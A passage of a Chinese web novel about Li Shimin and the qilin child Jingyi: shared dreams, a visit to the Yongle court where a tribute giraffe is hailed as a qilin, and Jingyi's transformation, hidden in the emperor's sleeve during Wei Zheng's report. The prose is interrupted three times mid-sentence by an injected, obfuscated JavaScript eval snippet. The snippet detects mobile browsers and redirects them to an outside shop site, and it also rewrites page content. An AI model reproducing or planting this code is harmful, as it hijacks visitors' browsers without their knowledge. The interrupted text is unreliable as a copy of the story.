“下次再梦见,”李世民的声音亲和沉稳,“你就告诉他,你是我家的孩子。”
景颐从他膝间抬起脸,红红的眼睛眨了眨。
“叔叔家的?”
“嗯。”李世民点了点他鼻尖,“我家的。”
景颐把这两个字含在嘴里嚼了嚼,皱起的小眉头慢慢松开了。
他打了个哈欠,靠在李叔叔膝边,没一会儿竟睡着了。
李世民没有动,他就着这个姿势,继续批阅案上的奏折。朱笔悬停时,偶尔垂眸看一眼膝边那张酣睡的小脸。
窗外日光正好,惊蛰未至,春意已悄悄爬上殿角的柳枝。
是夜,甘露殿。
李世民今夜没有梦见战场,没有梦见突厥,没有梦见那些他杀过的人、胜过的人、还在等他的敌人。
他梦见一扇窗。
碧纱窗,支着半扇,烛光透出来,昏黄而温柔。窗下是一张堆满卷帙的案几,他伏在案边,手握着笔,指节酸痛,肩背僵硬。
他在批奏折。
字是熟悉的,那是他写了二十多年的字,只是比记忆中的更颤、更涩。
他批完一本,放下笔,抬起头。
对面站着一个孩子。
豆青小袄,双丫小髻,深褐色的眼眸瞪得圆圆的,像只在林间猝然撞见猎人的小鹿。
他张了张嘴,听见自己的声音苍老、嘶哑、陌生。
“你是谁家的小儿?”
孩子没有答,他只是怔怔地望着他,那双澄澈的眼眸里,倒映着烛火,倒映着窗棂,倒映着,
一个衰老的、疲惫的、眼窝深陷的自己。
李世民猛然惊醒。
甘露殿夜深,残烛将尽。他独坐在御榻上,心跳如擂鼓,后背的寝衣已被冷汗浸透。
方才那梦中人的脸,那张苍老的、陌生的脸,
是他自己。
不,是二十年后的自己。
那眉眼,那轮廓,那连他自己都几乎遗忘的、少年时从铜镜里见过的倔强神情。只是老了,疲惫了,被岁月磨去了所有锋棱,只剩一双不肯熄灭的眼睛。
而那双眼睛里,倒映着景颐。
李世民在黑暗中坐了许久。
他没有召人,没有点灯,没有做任何事。他只是坐着,任那颗心跳慢慢平复,任窗外的更声一更一更过去。
他想,那是景颐的溯梦,他梦见我,我便也梦见了他。
如此而已。
没有什么需要深究的。
他把这句话在心里重复了三遍,起身披衣,唤内侍添烛。
案上还有三州春耕的折子未批。
景颐醒来时,枕边那颗念珠又热了。
他伸手摸了摸,烫烫的,像被梦里的烛火烤了一夜。
李治正在窗外背书,稚嫩的声音穿过窗纸,念的是《诗经》里的句子:“昔我往矣,杨柳依依……”
景颐抱着被子坐了一会儿,忽然爬下榻,哒哒哒跑出凝云轩。
甘露殿外,内侍见了他,笑着躬身:“小郎君又来找陛下?”
“嗯!”景颐仰着脸,“李叔叔有空吗?”
内侍进去通传,片刻后掀帘:“陛下请小公子进去。”
李世民正在用早膳。小米粥,两碟小菜,一屉蒸饼。他抬眼看向门口,那孩子今日没有红眼眶,只是站在门边,认真地看着他。
“李叔叔,”景颐说,“我昨晚又梦见那个老爷爷了。”
“嗯。”
“他这次没有问我话。”景颐走过来,趴在他案边,下巴搁在手背上,“他只是一直看着我。”
李世民放下筷子。
“他看你的眼神,”李世民的声音很轻,“可怕吗?”
景颐想了想,摇头。
“不是可怕。”他慢慢地说,“就像……就像叔叔看雉奴那种。”
他顿了顿,似乎自己也觉得这个比方打得奇怪,有点不好意思,把半张脸埋进手臂里。
李世民没有说话。
窗外,二月的风拂过殿角的柳枝,那些细嫩的鹅黄芽苞正在轻轻摇晃。
“我昨夜也梦见一个人。”李世民忽然开口。
景颐抬起脸,眨眨眼。
“是个老人。”李世民说,“他很累,批了一夜的奏折,手都在抖。”
“他看见叔叔了吗?”景颐问。
李世民沉默片刻。
“看见了。”他说,“他用我的眼睛,看见了我。”
景
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186655|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颐没有听懂。
他只知道,李叔叔说这话的时候,语气和平时不太一样。不是难过,也不是生气,是一种他说不上来的、让人想靠得近一点的声音。
他于是又往前凑了凑,把小手覆在李世民搁在案边的手背上。
“李叔叔,”他说,“你累不累?”
李世民低头看着那只小小的、温热的、覆在自己指节上的手。
六岁的孩子,手背还有圆圆的肉窝,指头短短的,连他半个手掌都盖不住。
“不累。”他说。
景颐点点头,好像很满意这个答案。
他收回手,从碟子里摸了一个蒸饼,咬了一口,含糊道:“师父不在,我以后天天来找李叔叔说话。”
李世民看着他,唇角微微扬起。
“……好。”
此后景颐果然天天来。
有时是早上,趴在案边看他批折子,看一会儿就开始打哈欠,脑袋一点一点,最后枕着自己的手臂睡着。李世民便让内侍取来薄毯,盖在他身上。
有时是午后,带着李治和丽质一起来,殿中便热闹起来。李泰闻风而至,嚷嚷着“阿耶我也要听政”,被李世民一句“你把《汉书》读完了吗”堵了回去,蔫蔫地缩在角落里翻书。
有时是傍晚,景颐一个人来,也不说话,就坐在窗边,托着腮看殿外那棵柳树。
“看什么?”李世民问。
“看它发芽。”景颐认真道,“昨天才三颗,今天有五颗了。”
李世民走到窗边,顺着他的目光望去。
那棵柳树确实在发芽。细嫩的、鹅黄的、米粒大小的芽苞,缀在深褐色的枝条上,在暮光里泛着柔润的光泽。
他看了很久。
“景颐,”他忽然问,“你梦里那个老人,还在看你吗?”
“在。”景颐说,“每天都看。”
“你怕他吗?”
景颐想了想,摇头。
“他都不说话,只是看。”他顿了顿,“看久了,就不怕了。”
李世民没有说话。
他想,二十年后的自己,坐在那扇碧纱窗下,批着一本又一本永远批不完的奏折,手腕酸痛,眼目昏花。
他看见一个六岁的孩子站在烛光里,深褐色的眼眸澄澈如泉。
他问:“你是谁家的小儿?”
那孩子没有答。
但他知道答案。
——那是我家的孩子。
二月的风从窗口吹进来,带着渭水化冻的湿润、终南山初融的雪意、还有长安城一百零八坊袅袅升起的炊烟。
李世民负手立在窗前,听着身后孩子们叽叽喳喳的吵闹声,忽然觉得,二十年好像也没那么远。
长琴走后的第二十三天,景颐又做梦了。
梦里还是那扇碧纱窗,还是那张堆满卷帙的案几,还是那个白发苍苍的老人。
只是这一次,老人没有批奏折。
他靠在凭几上,闭着眼睛,脸微微侧向窗口的方向。窗外似乎有光,照在他布满细纹的脸上,把那些沟壑照得格外分明。
景颐站在原处,没有动。
过了很久,老人睁开眼睛。
他看向景颐。
那双曾经浑浊如蒙尘琉璃的眼睛,此刻澄明得惊人。而他依然老,依然疲惫,依然被岁月压弯了脊背。
但那双眼里的光,像夏夜最亮的那颗星。
老人没有问“你是谁家的小儿”。
他只是看着景颐,很慢、很慢地,弯起嘴角。
景颐醒来时,枕边湿了一小片。
他不记得自己哭了,他摸摸脸颊,干干的,可枕巾分明是潮的。
那颗鹰纹念珠静静躺在他掌心,温温的,不再烫手。
窗外,二月最后一天的长安,落了今春第一场细雨。
李世民在甘露殿批完最后一本折子,搁笔时听见檐外淅沥的雨声。
他抬起头,望向窗外。
那棵柳树的芽苞已经长成细嫩的叶片,在雨中轻轻摇曳,翠绿如洗。
他没有梦见那个老人。
但他知道,老人还在那里。
在二十年后的那扇碧纱窗下,批着永远批不完的奏折,看着永远看不完的长安春天。
看着他亲手种下的柳树,一年年发芽,一年年抽枝,一年年亭亭如盖。
看着他家那个六岁的小儿,在烛光里仰着脸,深褐色的眼眸澄澈如泉。
看着他。
36.第 36 章
贞观五年三月初三,上巳节。
长安城万人空巷,曲江池畔仕女如云,景颐却趴在凝云轩窗边,百无聊赖地戳着一盆刚发芽的兰草。
“好无聊啊。”他把下巴搁在窗框上,深褐色的眼眸盯着那盆草,“师父什么时候回来……”
李治蹲在他旁边,也学着把下巴搁在窗框上,两个小人儿排成一排,像两只等投喂的雏雀。
丽质坐在榻边翻书,抬眼看了他们一眼,没有戳穿他们一早上已经吃了六块糕、三颗梨、半碟松子糖。
李泰大步流星跨进院子,手里扬着一封信:“丽质!雉奴!景颐!阿耶说今日休沐,带咱们去西市看百戏!”
景颐眼睛一亮,从窗框上弹起来:“真的?!”
“阿耶还说,”李泰顿了顿,努力模仿李世民的语气,“‘景颐这几日蔫蔫的,带他出去跑跑。’”
景颐眨眨眼,耳尖悄悄红了。
他才不蔫。
他只是在想师父,还有那个梦里的老爷爷。他已经好几天没有梦见老爷爷了。
他有点想他。
在西市玩了半日,回来的路上,景颐就困了。
他本想回凝云轩睡一觉,可趴在马背上颠啊颠的,反倒精神了。等到了甘露殿,李世民要批折子,他便自告奋勇地说“我在旁边自己玩”。
李世民看了他一眼,没戳穿这孩子每次自己玩的结果都是睡着。
“榻上歪着。”他只说了这一句。
景颐便爬上御案旁的矮榻,规规矩矩坐好。
他自己玩了不到半炷香。
先是从袖子里摸出一颗松子糖,塞进嘴里。
然后是盯着殿梁上的彩画数仙鹤,数到十七只的时候,眼睛开始打架。
脑袋一点一点,像只啄米的小鸡。
最后身子一歪,枕着自己的手臂,彻底睡了过去。
李世民批完一本折子,转头看了看榻上那团睡得四仰八叉的小身影。
他不进失笑,搁下笔,起身走过去,把那滑落到腰间的薄毯往上拽了拽。
窗外春日和暖,殿中熏炉轻烟袅袅。
正要低头继续批折子,忽觉眼前一阵恍惚。
那烟,那光,那空气里浮动的尘埃,忽然都凝住了。
李世民眨了眨眼。
甘露殿不见了。
应天府,洪武门外。
景颐是被一片金光晃醒的。
他眯着眼,发现自己正飘在半空中,脚不沾地,晃晃悠悠。身边是熟悉的衣角,皇李叔叔也在飘。
“哇!”景颐一下子清醒了,下意识攥住那片衣角,“我们在飞!”
李世民低头看了看自己悬空的脚,又看了看四周完全陌生的城池。
城墙不是长安的青灰色,是另一种他从未见过的赭红,在日光下泛着厚重而新鲜的色泽。城门楼巍峨壮丽,三层重檐,琉璃瓦闪着粼粼的光。
匾额上是三个他没见过、却莫名能认出的字——
洪武门。
他没有来过这里,没有见过这座城。
“李叔叔,这里是哪儿呀?”景颐拽着他袖子,眼睛里满是好奇,没有一丝害怕。
李世民没有答。他只是握紧了掌中那只小手。
“走。”他说,“去看看。”
他们像两片羽毛,飘过城门,飘过长街。
然后景颐就被眼前的景象惊呆了。
人。
好多人。
比他这辈子见过的人加起来还多!
长街两侧挤得密密麻麻,摩肩接踵,男女老少把沿街的每一寸空地都填满了。树上爬着半大小子,屋顶上蹲着胆大的后生,沿街的酒楼客栈窗口探出无数颗脑袋,像一堵堵挤满了麻雀的墙。
人声如潮,嗡嗡嗡嗡,根本听不清谁在说什么。
景颐张大了嘴,脖子仰成九十度,看着一个蹲在树杈上的小胖子,那小胖子正努力往更高处爬,□□都开线了也顾不上。
“李叔叔,”他咽了咽口水,“这里的人,比西市上元节还多!”
李世民环顾四周。这阵仗,这架势,这场面,
他也是头一回见。
正懵着,人群忽然沸腾起来。
“来了来了!到洪武门了!”
“番邦进贡的麒麟!真的是麒麟!”
“听说脖子老长了!角也有!”
“神兽啊!咱们这辈人还能见着神兽!”
人声如潮,一浪高过一浪。每张脸上都写着新奇、兴奋、翘首以盼,像是把一辈子的热闹都攒到今天来用了。
景颐耳朵嗖地竖了起来。
麒麟?
他一把攥紧李世民的手:“李叔叔你听见了吗!麒麟!他们说有麒麟!”
李世民一愣。
“真的麒麟?”景颐眼睛亮得像点了两盏小灯,“是、是跟我一样的麒麟吗?”
他从来没有见过别的麒麟。
爹爹不算,那是爹爹。而且他也没见过爹爹的真身。
画本里也有麒麟,可那毕竟是画。
现在真的有麒麟被人找到了?被人从什么地方带来了?活生生的、毛茸茸的、会喘气会走路的麒麟?
景颐激动得话都说不利索了:“我、我想看!”
“走。”李世民也起了兴致。
他倒要看看,是什么“麒麟”。
两人飘过重重人海,越过高高的宫墙,落在一座金碧辉煌的大殿之外。
殿高数丈,朱漆巨柱盘龙,穹顶藻井繁复如星图。
御座上坐着一位身穿明黄袍服的帝王,约莫四十出头,身量魁梧,浓眉美髯,面容威严。
他没有像寻常帝王那样端坐不动,而是微微前倾着身子,手撑在膝上,一双眼睛亮得惊人,像即将出猎的猛虎盯着猎物。
阶下文武分列,也没几个老老实实站着的。有踮脚的,有探脖子的,有和同僚交头接耳的,还有一位老臣正偷偷从袖子里摸老花镜。
殿门处,几名异族装束的使者鱼贯而入。
他们身后的侍从抬着一只巨大的笼子,笼身用锦缎密密罩着,只隐约透出里面那东西的轮廓。
很高。
非常高。
李世民凝神望去,目光里带着帝王独有的审视,也带着凡人面对未知时最本真的新奇。这到底是什么异兽?他从何处来?如何捕获?
锦缎被揭开。
笼门打开。
一只动物被牵了出来。
景颐屏住了呼吸。
它真的很高,四条腿又细又长,像四根插在地上的竹竿。脖子更是长得惊人,简直像是把一只鹿、一匹马和一条蛇捏在一起,又放在砧板上胡乱抻了又抻。
它的皮毛是淡棕色的,布满白色的、不规则的斑纹,像谁把云朵的碎片缝在了它身上。
它的头上长着两只短短的小角,覆着一层薄薄的绒毛,像两截还没长好的嫩树枝。
它有一双温驯的、湿润的、漆黑的大眼睛。
那眼睛缓缓扫过满殿的人,带着茫然,带着怯意,不知道自己为什么在这里,不知道自己为什么被这么多人盯着。
人群爆发出震天的欢呼。
“麒麟!真的是麒麟!”
“祥瑞!天降祥瑞!”
“陛下万岁!大明万岁!”
文武百官轰然炸开,贺声如潮,有人当场跪下叩首,有人激动得热泪盈眶,有人已经开始打腹稿准备献《麒麟赋》。
御座上的帝王站起身,大步走下丹陛,围着那只“麒麟”转了三圈。
他的眼睛里满是新奇和兴奋,伸手想摸,又怕惊着这“神兽”,手悬在半空,进也不是退也不是。
“好!”他大声道,“好得很!远人来朝,献此祥瑞,朕即位四年,四方宾服,此乃天意!”
他转头,对身边一个白面长须的大臣道:“解缙,记下来!榜葛剌国进贡麒麟,当昭告天下!”
那大臣连忙应声。
李世民专注地望着那只异兽,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190484|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
征战半生,见过突厥的马、吐蕃的牛、西域的骆驼、拂林的长角鹿,却从未见过这等模样的生灵。
那脖子是怎么长成那样的?那斑纹是天生还是后长?它吃什么?它来自哪个遥远的国度?
他看得入神,几乎忘了自己身在梦中。
直到袖口被轻轻拽了拽。
“李叔叔。”
景颐的声音很小,像从嗓子眼里挤出来的。
李世民低头。
景颐没有看那只长颈鹿,他垂着眼帘,长长的睫毛盖住了眼睛,小小的手死死攥着李世民的袖子。
“怎么了?”
景颐没有答。
过了很久,他慢慢抬起脸。
那双深褐色的眼眸里汪着一层水光,薄薄的,像三月初的湖面,风一吹就要碎。
他望着那只被万众欢呼的长脖子异兽,又低头看看自己的手、自己的胳膊、自己的腿。
然后他看向李世民。
眼泪刷地淌了下来。
“李叔叔,”他哭着说,“我长大以后……也会变成这样吗?”
李世民愣住了。
“也会变成脖子长长的、身上有斑点的怪物吗?”景颐的眼泪像断了线的珠子,一颗接一颗往下滚,“也会被关在笼子里、被这么多人围着看吗?”
他越说越伤心,声音开始抽噎:“我不要!我不要当这种麒麟!我是师父的麒麟!我不是长脖子的!我不要长大了!”
“景颐,景颐,你听我说,”李世民慌忙蹲下身,双手扶住他的肩膀,“那不是麒麟,番邦人骗人的。”
“可是他们都说它是麒麟!”景颐把脸埋进李世民肩头,哭得上气不接下气,“它明明那么高!那么奇怪!他们还喊它祥瑞!”
他死死攥着李世民的衣襟,小小的身体哭得一抖一抖。
“我、我是不是也会变成那样……师父没有告诉我……师父是不是怕我难过……”
李世民把他搂进怀里。
那具小小的身体在他臂弯里颤抖,滚烫的眼泪透过龙袍,渗进肩窝。
李世民捧起景颐泪痕狼藉的小脸,拇指轻轻擦去那汪洋恣肆的泪水。
“你不是它,它也不是你。”
“你是我见过的最可爱的麒麟,金鬃、鳞甲、鹿角、马蹄,我记得很清楚,师父给我看过画本。你的角以后会长成珊瑚那样,分叉的,漂亮的,不是那两根秃秃的小树枝。”
景颐抽噎着:“真、真的?”
“真的。”李世民斩钉截铁,“你若不信,等师父回来问他。”
景颐点点头,情绪慢慢平复了些。他把脸埋回李世民肩头,闷闷地“嗯”了一声。
“那咱们回……”
他没说完。
李世民也没说完。
殿中不知何时安静了。
方才还山呼海啸的万岁声,交头接耳的议论声,老臣摸老花镜的窸窣声,全都在同一瞬间消失了。
不对!
李世民缓缓抬起头。
御座上那个魁梧的帝王站起来了。
他不再前倾身子,不再撑着膝盖。他站得笔直,肩膀微微绷紧,那双向来亮如猛虎的眼睛此刻眯成一条缝,正一瞬不瞬地盯着他们。
阶下的文武百官像被施了定身术。
那个踮脚张望的,脚还踮着,人却不动了。
那个和同僚交头接耳的,嘴还张着,话却卡在了喉咙里。
那个摸老花镜的老臣,眼镜举在半空,忘了往鼻梁上架。
异族使臣还保持着献礼的姿势,手里托着打开的锦盒,盒中宝石的光泽在寂静中显得格外刺目。
长颈鹿甩了甩尾巴,温驯的大眼睛里满是困惑,不知道自己怎么忽然没人看了。
殿中数百双眼睛。
全都望着同一个方向。
望着半空中那两道若隐若现的、不属于这个时代的身影。
景颐从李世民肩头抬起脸:“嗝……李叔叔,他们为什么都看着我们?”
37.第 37 章
“李叔叔,为什么他们都在看我们?”
李世民没有回答。
他与御座上那双虎目对视。
那目光里有震惊,有戒备,有审视,还有一闪而过的、连主人自己都未必察觉的……
新奇。
像在战场上猝然遭遇一支从天而降的奇兵,不知敌友,不知来意,只觉得这辈子头一回见这等阵仗。
那帝王往前走了一步。
文武百官倒吸一口凉气。
他又走了一步。
这一步迈得极大,带着沙场老将独有的、不知“龙行缓步”四字怎么写的豪迈。
“陛下!”一个老臣终于把眼镜架上了鼻梁,声音都在抖,“陛下不可——”
帝王摆摆手,连头都没回。
他走到御座前的台阶边缘,居高临下地,其实是微微仰着头,因为他们飘在半空中,就这样望着李世民。
李世民也看着他。
两双眼睛,隔着三百年的光阴,隔着帝王与帝王的身份,隔着梦与现实那道看不见的屏障。
一瞬静默。
那帝王忽然咧开嘴,笑了。
“有意思。”他的声音洪亮如钟,带着北地口音,带着近乎孩子气的兴奋,“我活了这么多年了,头一回见这等稀罕事。”
他歪着头,上下打量着李世民。
“你是何方神圣?打哪儿来的?来我这应天府做什么?”
没人答话。
他也不恼,“小麒麟,”他冲景颐招手,声音洪亮,“下来些,让我瞧瞧!”
景颐从李世民肩头探出半张脸,深褐色的眼眸还红着,怔怔地望着这个说话像打雷的陌生皇帝。
他往前飘了半寸。
朱棣眯着眼,仔仔细细地打量他。从头上的小髻,到哭红的鼻尖,到紧紧攥着李世民袖口的手指。
“……嘿,”那帝王忽然一拍大腿,眉飞色舞,“这小娃儿生得怪俊的!”
“这才像麒麟嘛!”他啧啧称奇,回头冲群臣一扬下巴,“你们瞧见没?我就说嘛,番邦那个长脖子哪儿像麒麟了?这才是麒麟该有的样子!”
满朝文武:“……”
礼部尚书张了张嘴,想说什么,发现自己完全不知道该说什么。
朱棣转回来,又看了景颐两眼,忽然压低声音,用那种传授秘诀的语气:“我跟你说,你那角,日后会长得分叉、带弯、漂亮得很。我在北征时见过鹿群,公鹿的角都是那样的。”
他顿了顿,又补了一句,“比那长脖子好看一百倍。”
景颐眨了眨眼,睫毛上还挂着泪,嘴角却忍不住往上弯了一弯。
朱棣满意地点点头。他直起身,看向李世民。
两个帝王对视。
朱棣忽然抱拳,不是君臣之礼,是沙场同袍相逢时那种干脆利落的拱手。
“这位兄台,”他说,“你家这小麒麟,我很喜欢。”
李世民微微颔首,没有说话。
朱棣也不恼,他收回手,负在身后,望着这两道已开始微微涣散的身影,笑道:
“往后多来我这儿走走。我这儿稀奇古怪的东西多,番邦年年进贡,总比你们那头的热闹。”
李世民仍然没有说话。
他只是低头,把景颐往怀里拢了拢。
景颐趴在李叔叔肩头,红红的眼睛望着这个说话像打雷、说他比长脖子好看一百倍的陌生皇帝。
他小声说:“谢谢你。”
朱棣听见了。
他咧开嘴,笑得很是开怀。
梦境开始破碎。
金柱、藻井、御座、长脖子、满殿大臣、那个魁梧的帝王……一切都像投入石子的水面,涟漪一圈圈荡开,支离破碎。
朱棣的脸在破碎的光影中忽明忽暗。
他张口说了句什么。
声音被撕成碎片,只有口型依稀可辨。
“下次再来啊——”
虚空闭合。
景颐感觉自己在往下坠,他死死攥着李世民的手。
耳边是风声,是水声,是梦破碎的声音。
然后他猛地睁开眼。
熏炉,折子,窗外的柳树。
李世民扶着他的肩,正唤他的名字:“景颐?景颐?”
景颐张了张嘴,想说“李叔叔我没事”。
可他胸口忽然一阵灼烫。
像有什么东西压不住了。
他低头,看见那枚赤红的玉锁在里衣下剧烈震颤,看见师父给的玉佩发出嗡鸣,看见那颗鹰纹念珠烫得像刚从炉火里拿出来。
他想喊李叔叔。
可他的声音卡在喉咙里,化成一声极轻的、压抑的呜咽。
眼前金光一闪。
李世民只觉膝上一沉,他低头。
那件豆青小袄空落落地滑落在案边。
而他的膝上,多了一只,金鬃,鳞甲,鹿角,马蹄,毛茸茸的,正努力把自己缩成一颗球的麒麟。
一只货真价实的、活生生的麒麟。
李世民与它对视。
小麒麟与他对视。
殿中静得只剩窗外柳枝拂动的声音。
“……景颐?”李世民的声音有些艰涩。
小麒麟点了点头。
那两根还没长开的嫩角跟着晃了晃。
殿外忽然传来脚步声,坚实、沉稳、一丝不苟。
景颐耳朵竖起来。
李世民也听见了。
那脚步声在殿门外停住。
内侍的声音隔着门帘响起:“陛下,魏中丞求见,说有要事禀告……”
小麒麟蹲在李世民膝上,四只小短蹄并拢,尾巴紧张地卷成一个圈。
它眨巴着那双金眸,怯怯地望着眼前的帝王,睫毛上还挂着方才梦里的泪痕。
李世民与它对视。
一人一兽,四目相对。
窗外春风拂柳,殿内落针可闻。
李世民深吸一口气。
再深吸一口气。
“景颐,”他的声音压得极低,带着此生少有的紧张,“你……能变回来吗?”
小麒麟摇了摇头。
那两根嫩角跟着晃了晃。
李世民闭了闭眼。
他又问:“那……多久能变回来?”
小麒麟歪着脑袋想了想,又摇了摇头。
李世民:“……”
殿外的脚步声越来越近。
内侍的声音隔着门帘再次响起,:“陛下?魏中丞已经到了……”
李世民腾地直起身。
他低头看看自己膝上这只巴掌大的、金光闪闪的、任谁看了都知道绝非寻常小兽的麒麟。
又抬头看看殿门那道隐约可见的、笔直如松的身影。
再低头看看麒麟。
麒麟也仰头看着他,金眸里写满了“李叔叔怎么办”。
李世民大脑一片空白。
他征战沙场十几年,玄武门箭已上弦时都没手抖过。
此刻他抖了。
殿门门帘被掀开一道缝。
李世民一把抄起膝上的小麒麟,往袖子里一塞。
动作行云流水,干脆利落,全然不像是第一次干这种事。
只是太急了。
袖口窄,塞了半天塞不进去。小麒麟脑袋进去了,屁股卡在外面,四只小短蹄在空中乱蹬,尾巴紧张地甩来甩去。
李世民额头青筋直跳,另一只手按住那团乱蹬的小东西,用力往里一怼——
“唔!”
袖子里传来一声极轻的、被闷住的惊呼。
终于塞进去了。
李世民飞速把袖口整好,抚平褶皱,端坐回御案后。
刚坐定,门帘掀起。
魏徵跨进殿门。
“臣魏徵,参见陛下。”
他躬身行礼,声如洪钟,一丝不苟。
“魏卿平身。”李世民抬手,声音稳如磐石,面容平静无波。
魏徵直起身。
他抬眼看向御座。
天子端坐,龙袍整肃,面前摊着几本奏折,俨然正在批阅公务。
一切都很正常。
魏徵收回目光,他开口,
“陛下,臣今日所奏,乃太常寺祭礼乐章修订一事。”
“嗯。”
“去岁陛下曾命太常寺修订秋祭乐章,郑乐正已呈上新谱。然臣查阅典籍,发现其中商徵二音与《周礼》所载古法略有出入。虽无伤大雅,然祭礼乃国之大典,音律当循正朔……”
魏徵滔滔不绝。
李世民端坐倾听,时不时点头,时不时“嗯”一声。
一切都很正常。
只是他的右臂,始终贴着身侧,纹丝不动。
纹丝不动。
魏徵没有看他的右臂,他看着李世民的眼睛。
“臣以为,商音应降半律,徵音应升三分,方合古制……”他继续说着,语速均匀,气息绵长,丝毫没有停下来的意思。
李世民的右臂内侧,那团小小的、温热的、毛茸茸的存在,正在蠕动。
先是一阵轻微的拱动。
然后是细细的、被布料闷住的哼唧。
李世民不动声色地收紧右臂,把袖口往身后藏了藏。
魏徵:“此外,臣查阅《开元礼》时发现,社稷坛祭祀所用玉器规格,与《周礼》所载亦有不合之处……”
袖子里。
景颐觉得自己的鼻子被龙袍里衬的绸缎堵得死死的。
四面八方全是黑的,全是软的,全是李叔叔袖子的味道,龙涎香,朱砂墨,还有一点点批奏折时沾上的茶渍。
他什么都看不见。
他喘不过气。
他用小脑袋顶了顶头顶的布料,顶不动。他试着把鼻子从绸缎里拱出来,那料子软塌塌地贴着他的脸,越拱贴得越紧。
他好闷。
他想出去。
他憋不住了。
于是他用最小的、几乎是从嗓子眼里挤出来的气声:
“李叔叔……”
李世民神色一僵。
“李叔叔,”那细细的声音从袖口深处传来,像小虫子在爬,“颐儿快喘不过气了……”
李世民面不改色。
他抬起左手,状似无意地抚过右袖,指尖在袖口处轻轻点了两下。
别说话。
袖子里的动静停了一瞬。
然后那细细的声音又响起来,带着委屈:
“可是真的好闷……”
魏徵:“……臣查阅《尚书》时,亦见其中有‘八音克谐,无相夺伦’之语。郑乐正新谱虽美,然美则美矣,于古制恐有未尽之处……”
李世民把右臂再往身后藏了半寸。
他转向魏徵,嘴角微微上扬。
那是一个极其标准的、温和而专注的微笑。
“魏卿所言极是。”他说,“太常寺那边,我会命人复核。”
魏徵看着他。
看着他那微微上扬的嘴角。
看着他那过分专注的眼神。
看着他那只始终贴在身后、纹丝不动、与另一只自在大方的左臂形成鲜明对比的右臂。
魏徵没有低头。
没有瞟。
没有做任何失礼的举动。
他只是眨了眨眼。
“……陛下圣明。”他说。
然后他深吸一口气。
“此外,臣前日翻阅《通典》,见其中记载北齐时曾有太常卿因祭乐失序被黜,此例甚可为鉴……”
李世民嘴角的微笑,开始有些僵。
魏徵今日的语速,似乎比平时慢了半拍。
有一种“今日
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195558|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无事,臣愿与陛下从盘古开天辟地讲起”的架势。
袖子深处。
景颐把脑袋拱进一块稍微松软些的布料褶子里,试图给自己挖出一个小小的呼吸孔。
他挖啊,挖啊。
终于,一缕极细的、带着龙涎香味的空气钻了进来。
他贪婪地吸了一口。
又吸了一口。
这个位置,刚好贴着李世民的小臂内侧。
他的每一次呼吸,都像一根极轻的羽毛,在李世民的皮肤上扫过。
李世民的右臂微不可察地抖了一下。
魏徵:“……是故臣以为,祭乐之制,非细故也。礼乐征伐自天子出,乐者,通伦理者也……”
李世民没有在听。
他所有的注意力,都集中在自己的右小臂上。
那里,每一息,都有一阵细细的、温热的、毛茸茸的呼吸。
像有一只小虫子在爬。
像有一片羽毛在扫。
痒。
钻心的痒。
他忍住了。
他面无表情地忍住了。
魏徵:“……故郑乐正所呈之谱,臣斗胆拟议:商音降半律,徵音升三分,编磬加十六枚,柷敔移位半尺……”
他语速依然均匀。
他气息依然绵长。
他好像真的打算把从上古到今的礼乐沿革,在今日下午全部讲完。
李世民望着他。
魏徵也望着李世民。
两人隔着三尺御案,四目相对,一个嘴角挂着越来越僵的微笑,一个面容肃穆、大义凛然。
他发现了。
李世民心里咯噔一声。
他没发现。
李世民又给自己打气。
他肯定发现了。
他绝对发现了。
他不说。
李世民微笑的嘴角,开始有细微的抽搐。
魏徵依然滔滔不绝。
只是他的眼角,似乎有极淡的、一闪而过的愉悦。
“陛下,”魏徵正气凛然,“臣还有一事……”
袖子里。
景颐终于找到了一个相对舒服的姿势。
他把四只小短蹄收拢,把尾巴卷成一个圈,把下巴搁在李世民的小臂骨上。
他不闷了。
可是他困了。
梦里的长脖子怪物,哭得稀里哗啦,忽然被塞进黑乎乎的袖子里,一阵手忙脚乱,然后是一个人不停地说、不停地说、不停地说……
那些字一个一个从他头顶飘过,像庙里老和尚念经。
他的眼皮开始打架。
他的脑袋开始一点一点往下栽,呼吸慢慢变得均匀、绵长、平稳。
他睡着了。
李世民感觉到右臂上那份小小的、温热的重量,渐渐沉了下去。
他低头。
袖口边缘,露出一小撮金色的鬃毛。
他不动声色地抬手,用左袖把那撮金毛往里掖了掖。
抬起头。
对上魏徵的视线。
魏徵正直直地望着他。
目光从他的脸,缓缓下移,移到他的右臂,再移到他的右袖。
然后移回他的脸。
李世民微微一笑。
那笑容里,有三分尴尬,三分心虚,三分“我知道你知道但我不点破你也给我装不知道”的帝王尊严。
还有一分近乎自暴自弃的坦然。
魏徵看了他半晌。
